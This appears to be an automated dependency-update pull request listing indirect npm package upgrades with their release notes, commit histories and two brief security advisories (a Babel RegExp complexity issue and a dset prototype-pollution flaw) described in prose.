v0.7.0 (#17245)Fix build script on Windows (#17244)fix `apply()`/`call()` annotated as pure (#17231)Reduce `interopRequireWildcard` size (#16538)Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 3) (#17235)Create ChainExpression within TSInstantiationExpression (#17233)Stricter TSImportType options parsing (#17193)migrate babel-compat-data build script to mjs (#17236)Update test262 (#17234)Bump typescript-eslint to 8.29.1 (#17232)Disallow get/set in TSPropertySignature (#17230)Use `class` and add type definitions for `regenerator` (#17220)Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 2) (#17226)Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 1) (#17224)Update firefox bugfix compat data (#17228)Migrate `@babel/register` to cts (#16844)test: add basic typescript-eslint integration tests (#17219)Harden variable declarator validations (#17217)Reduce generated names size for the 10th-11th (#17221)fix: Objects and arrays with multiple references should not be evaluated (#17156)Reduce `regeneratorRuntime` size (#17213)build(deps): bump @babel/helpers from 7.24.4 to 7.27.0 (#17218)Enforce node protocol import (#17207)Use esm for makefile js (#17214)add require-esm babel-register test (#17206)Fix: support const type parameter in generator (#17216)Babel 8 cleanup (#17211)Run tests imported from regenerator (#17205)Use imported regenerator transform files (#17205)Re-convert regeneratorRuntime to helper format (#17205)Delete remaining original regenerator files (#17205)Move regenerator files to the relevant packages (#17205)Remove bundled regeneratorRuntime helper (#17205)Prepare LICENSE files for incorporating regenerator (#17205)Merge remote-tracking branch 'regenerator/main'Update test262 (#17208)Fix start of TSParameterProperty (#17080)[Babel 8] Bump nodejs requirements to `^20.19.0 || >= 22.12.0` (#17204)[babel 8] Deprecate uppercase builders (#17133)Add v7.27.0 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helpers (indirect, 7.20.1 โ 7.28.4) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups
Impact
When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the
.replacemethod that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to.replace).Your generated code is vulnerable if all the following conditions are true:
- You use Babel to compile regular expression named capturing groups
- You use the
.replacemethod on a regular expression that contains named capturing groups- Your code uses untrusted strings as the second argument of
.replaceIf you are using
@babel/preset-envwith thetargetsoption, the transform that injects the vulnerable code is automatically enabled if:
- you use duplicated named capturing groups, and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23
- you use any named capturing groups, and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10
You can verify what transforms
@babel/preset-envis using by enabling thedebugoption.Patches
This problem has been fixed in
@babel/helpersand@babel/runtime7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on@babel/helpers, and instead you depend on@babel/core(which itself depends on@babel/helpers). Upgrading to@babel/core7.26.10 is not required, but it guarantees that you are on a new enough@babel/helpersversion.Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.
Workarounds
If you are passing user-provided strings as the second argument of
.replaceon regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring$<if it's then not followed by>(possibly with other characters in between).References
This vulnerability was reported and fixed in #17173.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 14 commits:
v7.28.4fix: allow `d` and `v` flag in `regExpLiteral` builder (#17495)Update test262 (#17496)Update Jest to v30.1.1 (#17493)Improve @babel/traverse typings (#17485)Update compat data (#17487)Update test262 (#17488)Do not enable default plugins in `@babel/standalone` (#17421)chore: Clean up `transform-regenerator` (#17455)Improve @babel/core typings (#17471)Update test262 (#17481)[Babel 8] Align TSMappedType AST (#17479)Switch to @jridgewell/remapping (#17474)Add v7.28.3 to CHANGELOG.md [skip ci]
โ๏ธ @โesbuild/android-arm (indirect, 0.15.15 โ 0.25.10) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 6 commits:
โ๏ธ @โjridgewell/gen-mapping (indirect, 0.1.1 โ 0.3.13) ยท Repo
Release Notes
0.3.5
What's Changed
- Add
ignoreListsupport: 9add0c2Full Changelog: v0.3.4...v0.3.5
0.3.4
Full Changelog: v0.3.3...v0.3.4
0.3.3
Full Changelog: v0.3.2...v0.3.3
0.3.2
Internal
- [meta] fix "exports" for node 13.0-13.6 by @ljharb in #4
- Fix built sources paths
New Contributors
Full Changelog: v0.3.1...v0.3.2
Does any of this look wrong? Please let us know.
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__core (indirect, 7.1.20 โ 7.20.5) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__generator (indirect, 7.6.4 โ 7.27.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__template (indirect, 7.4.1 โ 7.4.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__traverse (indirect, 7.18.2 โ 7.28.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/debug (indirect, 4.1.7 โ 4.1.12) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/hast (indirect, 2.3.4 โ 3.0.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/mdast (indirect, 3.0.10 โ 4.0.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/ms (indirect, 0.7.31 โ 2.1.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/unist (indirect, 2.0.6 โ 3.0.3) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ argparse (indirect, 1.0.10 โ 2.0.1) ยท Repo ยท Changelog
Release Notes
2.0.1 (from changelog)
Fixed
- Fix issue with
process.argvwhen used with interpreters (coffee,ts-node, etc.), #150.
2.0.0 (from changelog)
Changed
- Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
- node.js 10+ required
- Removed most of local docs in favour of original ones.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
2.0.1 releasedAlways assume process.argv[0] is interpreterAdd more migration docs2.0.0 releasedImplement argparse.js version 2.0Add 2.0 configs & docsDrop old sources (2.0 is full rewrite)Merge pull request #145 from lpinca/document/version-optionAdd documentation for the version optionreadme: update titelift infochangelog format updateAdd Tidelift link & fix headers formattingCreate FUNDING.ymlMerge pull request #129 from marcin-mazurek/patch-1Fix require statements in README examples
โ๏ธ autoprefixer (indirect, 10.4.13 โ 10.4.21) ยท Repo ยท Changelog
Release Notes
10.4.21
- Fixed old
-moz-prefix for:placeholder-shown(by @Marukome0743).
10.4.20
- Fixed
fit-contentprefix for Firefox.
10.4.19
- Removed
end value has mixed support, consider using flex-endwarning sinceend/startnow have good support.
10.4.18
- Fixed removing
-webkit-box-orienton-webkit-line-clamp(@Goodwine).
10.4.17
- Fixed
user-select: containprefixes.
10.4.16
- Improved performance (by @romainmenke).
- Fixed docs (by @coliff).
10.4.15 (from changelog)
- Fixed
::backdropprefixes (by ไธไธ).- Fixed docs (by Christian Oliff).
10.4.14
- Improved startup time and reduced JS bundle size (by @Knagis).
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 49 commits:
Release 10.4.21 versionUpdate dependencies and sort importsUpdate Node.js and pnpm on CIfix: replace `:-moz-placeholder-shown` with `:-moz-placeholder` (#1532)Release 10.4.20 versionFix fit-content for FirefoxUpdate dependenciesMove to pnpm 9Release 10.4.19 versionRemove endโflex-end warningUpdate dependenciesMove to flat ESLint configUpdate dependenciesRelease 10.4.18 versionUpdate dependenciesUpdate c8 configAdd Node.js 21 to CIAutomate release creationUpdate actionsPreserve -webkit-box-orient when -webkit-line-clamp is present (#1511)Release 10.4.17 versionUpdate dependenciesFix user-select: containUpdate dependenciesRelease 10.4.16 versionUpdate dependenciesUpdate CIimprove performance (#1500)Update dependenciesRemove deprecated browsers from README (#1499)Release 10.4.15 versionRun tests in parallelUpdate dependenciesfeat: `::backdrop` using `@mdn/browser-compat-data` (#1498)Update dependencies and code styleMove to pnpm 8Use Node.js 20 on CILock pnpmUpdate dependenciesAdd funding optionHTTPS and update URLS in README (#1494)Release 10.4.14 versionUpdate dependenciesImproves startup time by requiring specific caniuse files (#1492) (#1493)Fix package manager info (#1489)Update dependenciesRemove old CI configUpdate dependenciesupdate postcss to 8.4.19 (#1485)
โ๏ธ boxen (indirect, 6.2.1 โ 8.0.1) ยท Repo
Release Notes
8.0.1
8.0.0
Breaking
Improvements
7.1.1
7.1.0
7.0.2
7.0.1
7.0.0
Breaking
- Require Node.js 14 c393023
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 22 commits:
8.0.1Downgrade cli-boxes (#102)8.0.0Meta tweaksUpdate dependencies (#97)Bump minimum version to Node.js 18 (#96)Remove bloat code (#91)7.1.1Fix `borderStyle: 'none'` (#89)Readme tweak7.1.0Meta tweaksAllow border to be optional (#88)7.0.2Fix the `Spacing` TypeScript type (#86)7.0.1Now using newline as line separator in all cases (#81)Fix typo (#78)Fix typo (#77)7.0.0Require Node.js 14Add `height` and `fullscreen` option (#75)
โ๏ธ convert-source-map (indirect, 1.9.0 โ 2.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 5 commits:
โ๏ธ diff (indirect, 5.1.0 โ 5.2.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 47 commits:
5.2.0 release (#483)Add myself to the list of maintainers (#482)Add examples to docs of creating and applying patches (importantly including the fairly fiddly `applyPatches` function) (#481)Modify node_example.js to support showing added/deleted spaces (#479)Add `timeout` option (#478)Replace broken link to Myers's paper in the README with a working one (#476)Add note to README about setting `context` to Infinity or MAX_SAFE_INTEGER. (#473)Fix mistake in README (#471)Bump follow-redirects from 1.14.8 to 1.15.4 (#470)Migrate to DABH's fork of colors (#469)Fix more gaps in the docs (#466)Document that applyPatch can return false (#459)Flesh out the README a bit and fix some errors and omissions (#458)Add function to reverse a patch (#450)Expose `formatPatch` on `diff` object and document (#451)Consistently capitalize "jsdiff" in all-lowercase in docs (#449)Speed up algorithm by not considering diagonals that take us off the edge of the graph (#448)Flip core algorithm so everything is no longer the mirror image of Myers's paper (#440)Add test showing patch from bug #177 is handled correctly now (#447)Add release notes for @oBusk's PR #344 (#445)Option to strip trailing CR (#344)Write release notes for PRs already merged to master (#444)Update release-notes.md with content on npm that never got pushed to GitHub, relating to the 5.1.0 release (#443)Fix typo / grammar error in CONTRIBUTING.md (#442)Update CONTRIBUTING.md to use yarn (#441)Fix bug that leads to worse time complexity and cripplingly slow performance in some cases (#411)Default value of line delimiters when a patch is applied (#228) (#393)Fix a typo (#433)Document in a comment in web_example.html that you need to run a build first (#431)Update comment in index.js to reflect JsDiff->Diff rename in 5.0.0 (#430)Remove index.html from master (#429)Fix `exports` field in `package.json` (#351)Document diffJson() options (#332)readme: add links to section: change objects (#316)chore: update license file (#331)Move demo link to the top of the README (#370)Bump qs from 6.7.0 to 6.11.0 (#426)Bump more dependencies to please Dependabot (#425)Update package.json version to 5.1.0 (#422)yarn eslint . --fix (#421)Bump karma from 5.1.1 to 6.3.16 (#357)Upgrade packages that Dependabot has open PRs about (#415)Fix assorted trivial capitalisation typos (#410)Bump terser from 4.8.0 to 4.8.1 (#380)Bump socket.io from 2.3.0 to 2.5.0 (#379)Bump eventsource from 1.0.7 to 1.1.1 (#374)Bump socket.io-parser from 3.3.0 to 3.3.2 (#369)
โ๏ธ dset (indirect, 3.1.2 โ 3.1.4) ยท Repo
Security Advisories ๐จ
๐จ dset Prototype Pollution vulnerability
Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property proto, which is recursively assigned to all the objects in the program.
Release Notes
3.1.3
Patches
Full Changelog: v3.1.2...v3.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ escape-string-regexp (indirect, 4.0.0 โ 5.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ fraction.js (indirect, 4.2.0 โ 4.3.7) ยท Repo ยท Changelog
โ๏ธ github-slugger (indirect, 1.5.0 โ 2.0.0) ยท Repo ยท Changelog
Release Notes
2.0.0
What's Changed
- Use ESM by @wooorm in #43
breaking: please read this guide- Add types by @wooorm in #44
breaking: tiny chance of breaking, use a new version of TS and itโll workFull Changelog: v1.5.0...2.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
โ๏ธ hast-util-from-parse5 (indirect, 7.1.0 โ 8.0.3) ยท Repo
Release Notes
8.0.3
- 6fe681d Update
property-informationFull Changelog: 8.0.2...8.0.3
8.0.2
Miscellaneous
Types
Full Changelog: 8.0.1...8.0.2
8.0.1
Fix
- 3c42476 Fix type of optional option
Full Changelog: 8.0.0...8.0.1
8.0.0
Change
- cc4e5c5 Update
@types/hast, utilities
migrate: update too- 0c76e8a Change to require Node.js 16
migrate: update too- a227695 Change to use
exports
migrate: donโt use private APIs- 81cde21 Remove support for passing
filedirectly
migrate:x->{file: x}Types
- c6bd56c Add types of
datafields
expect values to be typed :)Full Changelog: 7.1.2...8.0.0
7.1.2
Fix
- 78ff3b5 Fix some props
Full Changelog: 7.1.1...7.1.2
7.1.1
Misc
- 00413a1 3bd13d7 Add improved docs
- ab3559e Add export of
Spacetype- 5e813f0 b344419 Update types and tests for changes in
parse5Full Changelog: 7.1.0...7.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 50 commits:
8.0.3Refactor docsUpdate `property-information`Update dev-dependencies8.0.2Refactor typesRefactor to use `@import`sAdd declaration mapsRefactor `package.json`Remove license yearRefactor `.editorconfig`Update ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesUpdate `hastscript`8.0.1Fix type of optional option8.0.0Change to require Node.js 16Change to use `exports`Refactor docsAdd types of `data` fieldsRemove support for passing `file` directlyRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependencies7.1.2Fix some propsFix internal type error7.1.1Fix typoAdd improved docsAdd tests for exposed identifiersAdd export of `Space` typeUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesFix tests for change in `parse5`Update dev-dependenciesAdd reference to `hast-util-from-html`Add improved docsRefactor code-styleUpdate types and tests for changes in `parse5`Update dev-dependenciesadd `ignore-scripts` to `.npmrc`Update `unist-util-visit`
โ๏ธ hast-util-is-element (indirect, 2.1.2 โ 3.0.0) ยท Repo
Release Notes
3.0.0
Change
- a16a694 Update
@types/hast, utilities
migrate: update too- 6f20167 Change to require Node.js 16
migrate: update too- 864ab64 Change to use
exports
migrate: donโt use private APIs- 0a5de58 Change types to work w/o explicit type parameter
migrate: donโt pass an explicit type parameter;
replaceAssertAnything,AssertPredicate->Check;
TestFunctionAnything,TestFunctionPredicate->TestFunction;
PredicateTest->TestFull Changelog: 2.1.3...3.0.0
2.1.3
Misc
Full Changelog: 2.1.2...2.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
3.0.0Change to require Node.js 16Change to use `exports`Refactor docsChange types to work w/o explicit type parameterRefactor to move implementation to `lib/`Update `@types/hast`, utilitiesRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependenciesRefactor tests for exposed identifiersAdd `ignore-scripts` to `.npmrc`Use Node 16 in Actions2.1.3Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsRefactor code-styleUpdate dev-dependencies
โ๏ธ hast-util-parse-selector (indirect, 3.1.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Change
- b64572f Update
@types/hast
migrate: update too- 7075bc4 Change to require Node.js 16
migrate: update too- 6363e82 Remove support for TS 4.1
migrate: update too- 339b417 Change to use
exports
migrate: donโt use private APIsFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
- d2bf5af Add improved docs
Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 30 commits:
4.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRemove support for TS 4.1Refactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`Update dev-dependenciesUse Node 16 in Actions3.1.1Fix typoAdd improved docsAdd tests for exposed identifiersRefactor to move implementation to `lib/`Use Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd missing sectionAdd improved docsUpdate dev-dependenciesAdd `ignore-scripts` to `.npmrc`Update `xo`Update `tsd`Add `strict` to `tsconfig.json`Refactor code-styleUse `pull_request_target` in bb
โ๏ธ hast-util-raw (indirect, 7.2.2 โ 9.1.0) ยท Repo
Release Notes
9.1.0
Add
- 91cfb6d Add
tagfilteroptionTypes
- 95687c8 Refactor to use
@importsFull Changelog: 9.0.4...9.1.0
9.0.4
- eda8d15 Fix crash on unfinished HTML in raw
Full Changelog: 9.0.3...9.0.4
9.0.3
- 57c9910 Fix non-lowercase SVG elements not closing
Full Changelog: 9.0.2...9.0.3
9.0.2
- 325160a Update dependencies
Full Changelog: 9.0.1...9.0.2
9.0.1
- 98e979e Add missing types dependency
by @Methuselah96 in #21Full Changelog: 9.0.0...9.0.1
9.0.0
Change
- f0ceab5 Update
@types/hast, utilities
migrate: update too- 40ae4fa Change to require Node.js 16
migrate: update too- 4edde89 Change to use
exports
migrate: donโt use private APIs- 246c313 Remove
Rawtype
migrate: import it frommdast-util-to-hast- ae7296e Add smarter types for
passThrough
migrate: make sure to register custom nodesFull Changelog: 8.0.0...9.0.0
8.0.0
Migrate
- Node.js 12 is no longer supported, use Node 14.14+ or later
- if you passed a file, please pass it in options:
{file: file}- if you used
complex-types.d.ts, please useindex.d.tsinsteadChange
- 5414bb6 Update to
parse5@7
by @wooorm in #17- 409ad69 Replace
complex-types.d.tswithindex.d.ts- d1d95a1 Remove support for
fileas parameterFix
- b83ec5f Fix to reexport
Rawfrommdast-util-to-hast- e66705a Fix rcdata, rawtext, script data, and plaintext states
- 8e7f703 Add improved error message for MDX nodes
- 9910e6b Fix to deep clone unknown nodes
Misc
- 2ff6c95 Add improved docs
Full Changelog: 7.2.3...8.0.0
7.2.3
- 9bbc7f3 Fix HTML in SVG in HTML
Full Changelog: 7.2.2...7.2.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 58 commits:
9.1.0Add `tagfilter` optionRefactor `package.json`Refactor code-styleRemove license yearRefactor `.editorconfig`Refactor ActionsRefactor `.gitignore`Update dev-dependenciesRefactor to use `@import`s9.0.4Fix crash on unfinished HTML in rawUpdate dev-dependencies9.0.3Add `remark-api` to dev-dependenciesAdd declaration mapsFix non-lowercase SVG elements not closingUpdate dev-dependencies9.0.2Update dependenciesUpdate dev-dependencies9.0.1Update dev-dependenciesAdd missing types dependencyUpdate dev-dependencies9.0.0Change to require Node.js 16Change to use `exports`Refactor docsRemove `Raw` typeAdd smarter types for `passThrough`Replace dependencyRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependencies8.0.0Add improved docsFix to reexport `Raw` from `mdast-util-to-hast`Fix rcdata, rawtext, script data, and plaintext statesReplace `complex-types.d.ts` with `index.d.ts`Add improved error message for MDX nodesRemove support for `file` as parameterFix to deep clone unknown nodesRefactor testsAdd tests for exposed identifiersAdd `ignore-scripts` to `.npmrc`Use Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesUpdate to `parse5@7`7.2.3Fix HTML in SVG in HTMLRemove unneeded `ts-expect-error`Update dev-dependencies
โ๏ธ hast-util-to-html (indirect, 8.0.3 โ 9.0.5) ยท Repo
Release Notes
9.0.5
- 329625e Update
property-informationFull Changelog: 9.0.4...9.0.5
9.0.4
Fix
Miscellaneous
Full Changelog: 9.0.3...9.0.4
9.0.3
- 1c938b9 Fix
headopening tag omission w/o titleFull Changelog: 9.0.2...9.0.3
9.0.2
Types
- 9d7a2f7 Add declaration maps
Misc
Full Changelog: 9.0.1...9.0.2
9.0.1
Performance
Full Changelog: 9.0.0...9.0.1
9.0.0
Change
- 23a91fc Update
@types/hast, utilities
migrate: update too- 8c32af8 Change to require Node.js 16
migrate: update too- 320b2ff Change to use
exports
migrate: donโt use private APIs- 15b1618 Remove
entitiesoption, usecharacterReferences
migrate:options.entities->options.characterReferencesFull Changelog: 8.0.4...9.0.0
8.0.4
Misc
Full Changelog: 8.0.3...8.0.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 52 commits:
9.0.5Refactor `package.json`Refactor docsUpdate `property-information`Update dev-dependencies9.0.4Refactor code-styleUpdate ActionsRemove license yearRefactor `.gitignore`Refactor `.editorconfig`Refactor code-styleUpdate dev-dependenciesFix to allow other strings for boolean attributes9.0.3Fix `head` opening tag omission w/o titleAdd `.tsbuildinfo` to `.gitignore`9.0.2Refactor to use `@import`sUpdate dev-dependenciesRemove unused dependencyAdd declaration mapsUpdate dev-dependencies9.0.1Update dev-dependenciesRefactor to improve performance w/ hoisted regex9.0.0Change to require Node.js 16Change to use `exports`Refactor docsRemove `entities` option, use `characterReferences`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependenciesUse Node 16 in ActionsAdd `ignore-scripts` to `.npmrc`Fix links8.0.4Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleUpdate `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd reference to `hast-util-from-html`Fix typoAdd improved docsRefactor code-styleUpdate dev-dependencies
โ๏ธ hastscript (indirect, 7.1.0 โ 9.0.1) ยท Repo
Release Notes
9.0.1
- 91f71e3 Update
property-informationFull Changelog: 9.0.0...9.0.1
9.0.0
Breaking
- 8a5f97e Add better custom element support by tightening overload detection
(tiny chance of breaking, youโre most likely fine)
8.0.0
change
- 04a40a5 Update
@types/hast, utilities
migrate: update too- 234405b Change to require Node.js 16
migrate: update too- 7e27d65 Remove
hastscript/html(auto runtime) fromexports
migrate: usehastscript- 6976cbb Remove
hastscript/html,hastscript/svgfromexports
migrate: usehastscriptFull Changelog: 7.2.0...8.0.0
7.2.0
Add
- f06247f Add JSX dev runtime
Misc
Full Changelog: 7.1.0...7.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 49 commits:
9.0.1Refactor docsFix TypeScript generating broken typesRefactor code-styleRefactor `package.json`Remove license yearRefactor `.prettierignore`Refactor `.editorconfig`Add `.tsbuildinfo` to `.gitignore`Update actionsUpdate `property-information`Update dev-dependencies9.0.0Add better custom element support by tightening overload detectionUpdate dev-dependencies8.0.0Add script to buildChange to require Node.js 16Refactor docsRefactor to reorganize filesRemove `hastscript/html` (auto runtime) from `exports`Remove `hastscript/html`, `hastscript/svg` from `exports`Refactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update `@types/hast`, utilitiesUpdate dev-dependenciesUpdate `xo`Fix typoAdd some linksRefactor tests for exposed identifiersRemove exampleUse Node 16 in ActionsFix typosFix typo7.2.0Refactor phrasingAdd improved docsAdd JSX dev runtimeAdd tests for exposed identifiersAdd more docs to typesAdd `tsd` backUse Node test runnerRefactor code-styleRemove superfluous dev-dependenciesUpdate `tsconfig.json`Update ActionsRemove classic Babel testUpdate dev-dependencies
โ๏ธ html-void-elements (indirect, 2.0.1 โ 3.0.0) ยท Repo
Release Notes
3.0.0
Change
- 7b5cb87 Remove elements that are no longer void
by @mohd-akram in #7
(tiny chance of breaking, you probably donโt depend on stuff likenextid)Full Changelog: 2.0.1...3.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ import-meta-resolve (indirect, 2.2.0 โ 4.2.0) ยท Repo
Release Notes
4.2.0
Types
- 4598fbe Add declaration maps
Fix
resolve/pull/32
Full Changelog: 4.1.0...4.2.0
4.1.0
Misc
- d363b81 Refactor to hide deprecation warning
- dbb53a5 Backport changes from Node
- 66b952b Refactor tests to not assume name of project folder
by @kapouer in #25Full Changelog: 4.0.0...4.1.0
4.0.0
- 4ba7a54 Backport changes from Node
Full Changelog: https://github.com/wooorm/import-meta-resolve/compare/3.1.0...4.0.0
3.0.0
- dcaeda3 breaking: change to make
resolvesync
this changes the return type fromPromise<string>tostring
migrate: changeawait resolve(x)toresolve(x)
by @giltayar in #15- c6aa7d5 Backport changes from Node
Notice: This release drops support for Node 16. Migrate by using Node 18 or later.
Full Changelog: 2.2.2...3.0.0
2.2.2
Fix
Full Changelog: 2.2.1...2.2.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 46 commits:
4.2.0Update Node in ActionsUpdate actionsRefactor `tsconfig.json`Add declaration mapsRefactor `package.json`Remove copyright yearRefactor to use `@import`sRefactor `.prettierignore`Add `ignore-scripts` to `.npmrc`Add `.tsbuildinfo` to `.gitignore`Update dev-dependenciesFix default `conditions` for `moduleResolve`Fix dates4.1.0Fix ActionsUpdate ActionsRefactor to hide deprecation warningBackport changes from NodeUpdate dev-dependenciesRefactor tests to not assume name of project folderFix tests for newest NodeUpdate dev-dependencies4.0.03.1.0Backport changes from NodeFix tests for changes in NodeUpdate dev-dependenciesFix version in readmeFix Node versionAdd Node 16 to actions again3.0.0Update `tsconfig.json`Add improved docsAdd tests for exposed identifiersRefactor typesBackport changes from NodeUpdate dev-dependenciesChange to make `resolve` sync2.2.2Fix circular dependency in `lib/get-format.js`2.2.1Update ActionsAdd improved docsRemove codecov patch statusBackport changes from Node
โ๏ธ js-yaml (indirect, 3.14.1 โ 4.1.0) ยท Repo ยท Changelog
Release Notes
4.1.0 (from changelog)
Added
- Types are now exported as
yaml.types.XXX.- Every type now has
optionsproperty with original arguments kept as they were (seeyaml.types.int.optionsas an example).Changed
Schema.extend()now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered asabcdinstead ofcbad).
4.0.0 (from changelog)
Changed
- Check migration guide to see details for all breaking changes.
- Breaking: "unsafe" tags
!!js/function,!!js/regexp,!!js/undefinedare moved to js-yaml-js-types package.- Breaking: removed
safe*functions. Useload,loadAll,dumpinstead which are all now safe by default.yaml.DEFAULT_SAFE_SCHEMAandyaml.DEFAULT_FULL_SCHEMAare removed, useyaml.DEFAULT_SCHEMAinstead.yaml.Schema.create(schema, tags)is removed, useschema.extend(tags)instead.!!binarynow always mapped toUint8Arrayon load.- Reduced nesting of
/libfolder.- Parse numbers according to YAML 1.2 instead of YAML 1.1 (
01234is now decimal,0o1234is octal,1:23is parsed as string instead of base60).dump()no longer quotes:,[,],(,)except when necessary, #470, #557.- Line and column in exceptions are now formatted as
(X:Y)instead ofat line X, column Y(also present in compact format), #332.- Code snippet created in exceptions now contains multiple lines with line numbers.
dump()now serializesundefinedasnullin collections and removes keys withundefinedin mappings, #571.dump()withskipInvalid=truenow serializes invalid items in collections as null.- Custom tags starting with
!are now dumped as!taginstead of!<!tag>, #576.- Custom tags starting with
tag:yaml.org,2002:are now shorthanded using!!, #258.Added
- Added
.mjs(es modules) support.- Added
quotingTypeandforceQuotesoptions for dumper to configure string literal style, #290, #529.- Added
styles: { '!!null': 'empty' }option for dumper (serializes{ foo: null }as "foo:"), #570.- Added
replaceroption (similar to option in JSON.stringify), #339.- Custom
Tagcan now handle all tags or multiple tags with the same prefix, #385.Fixed
- Astral characters are no longer encoded by
dump(), #587.- "duplicate mapping key" exception now points at the correct column, #452.
- Extra commas in flow collections (e.g.
[foo,,bar]) now throw an exception instead of producing null, #321.__proto__key no longer overrides object prototype, #164.- Removed
bower.json.- Tags are now url-decoded in
load()and url-encoded indump()(previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).- Anchors now work correctly with empty nodes, #301.
- Fix incorrect parsing of invalid block mapping syntax, #418.
- Throw an error if block sequence/mapping indent contains a tab, #80.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ magic-string (indirect, 0.25.9 โ 0.30.19) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ markdown-table (indirect, 3.0.2 โ 3.0.4) ยท Repo
Release Notes
3.0.4
Types
- 9f9497c Add declaration maps
Miscellaneous
- 6dab0ba Refactor code-style
Full Changelog: 3.0.3...3.0.4
3.0.3
Full Changelog: 3.0.2...3.0.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
3.0.4Remove license yearRefactor code-styleAdd declaration mapsRefactor `package.json`Refactor `.prettierignore`Add `ignore-scripts` to `.npmrc`Refactor `.editorconfig`Update ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependenciesUpdate dev-dependencies3.0.3Use `ReadonlyArray` type in options, parametersRefactor some docsUse Node test runnerRefactor `tsconfig.json`Update dev-dependenciesReplace skypack w/ esm.sh
โ๏ธ mdast-util-definitions (indirect, 5.1.1 โ 6.0.0) ยท Repo
Release Notes
6.0.0
Change
- 900cf9a Update
@types/mdast
migrate: update too- 79d4d61 Change to require Node.js 16
migrate: update too- 9e02a5b Change to use
exportmap
migrate: donโt use private APIs- 4a93553 Change to return
undefined, notnull
migrate: expectundefinedFull Changelog: 5.1.2...6.0.0
5.1.2
Misc
Full Changelog: 5.1.1...5.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
